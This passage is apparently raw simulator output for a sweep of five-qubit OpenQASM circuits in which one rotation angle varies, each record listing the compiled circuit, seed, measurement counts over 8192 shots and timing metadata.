q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1189', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 2378335320, 'status': 'DONE', 'data': {'counts': {'0x3': 1088, '0x1': 945, '0x0': 3179, '0x2': 2980}}, 'success': True, 'shots': 8192, 'time_taken': 0.451646347, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.200000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1191', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 1910101208, 'status': 'DONE', 'data': {'counts': {'0x3': 1206, '0x1': 844, '0x0': 3311, '0x2': 2831}}, 'success': True, 'shots': 8192, 'time_taken': 0.456650341, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.300000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1193', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 492471449, 'status': 'DONE', 'data': {'counts': {'0x3': 1345, '0x1': 732, '0x0': 3350, '0x2': 2765}}, 'success': True, 'shots': 8192, 'time_taken': 0.445407251, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.400000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1195', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 1218159773, 'status': 'DONE', 'data': {'counts': {'0x3': 1394, '0x1': 644, '0x0': 3460, '0x2': 2694}}, 'success': True, 'shots': 8192, 'time_taken': 0.436809557, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.500000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1197', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 1361662496, 'status': 'DONE', 'data': {'counts': {'0x3': 1507, '0x1': 545, '0x0': 3528, '0x2': 2612}}, 'success': True, 'shots': 8192, 'time_taken': 0.436024534, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.600000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1199', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 3920703577, 'status': 'DONE', 'data': {'counts': {'0x3': 1668, '0x1': 427, '0x0': 3608, '0x2': 2489}}, 'success': True, 'shots': 8192, 'time_taken': 0.442828435, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.700000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1201', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 2435306904, 'status': 'DONE', 'data': {'counts': {'0x3': 1764, '0x1': 350, '0x0': 3685, '0x2': 2393}}, 'success': True, 'shots': 8192, 'time_taken': 0.44064115800000003, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.800000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1203', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 831633740, 'status': 'DONE', 'data': {'counts': {'0x3': 1752, '0x1': 300, '0x0': 3737, '0x2': 2403}}, 'success': True, 'shots': 8192, 'time_taken': 0.44727511900000005, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.900000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1205', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 1911639607, 'status': 'DONE', 'data': {'counts': {'0x3': 1800, '0x1': 204, '0x0': 3900, '0x2': 2288}}, 'success': True, 'shots': 8192, 'time_taken': 0.44405775900000005, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1207', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 1879004873, 'status': 'DONE', 'data': {'counts': {'0x3': 1886, '0x1': 160, '0x0': 3919, '0x2': 2227}}, 'success': True, 'shots': 8192, 'time_taken': 0.444701292, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1209', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 3076776623, 'status': 'DONE', 'data': {'counts': {'0x3': 1939, '0x1': 107, '0x0': 4010, '0x2': 2136}}, 'success': True, 'shots': 8192, 'time_taken': 0.44111895500000003, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1211', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 3962893113, 'status': 'DONE', 'data': {'counts': {'0x3': 2017, '0x1': 77, '0x0': 3970, '0x2': 2128}}, 'success': True, 'shots': 8192, 'time_taken': 0.45868514800000004, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.30000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1213', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 1693848810, 'status': 'DONE', 'data': {'counts': {'0x3': 2042, '0x1': 39, '0x0': 4031, '0x2': 2080}}, 'success': True, 'shots': 8192, 'time_taken': 0.446125382, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) 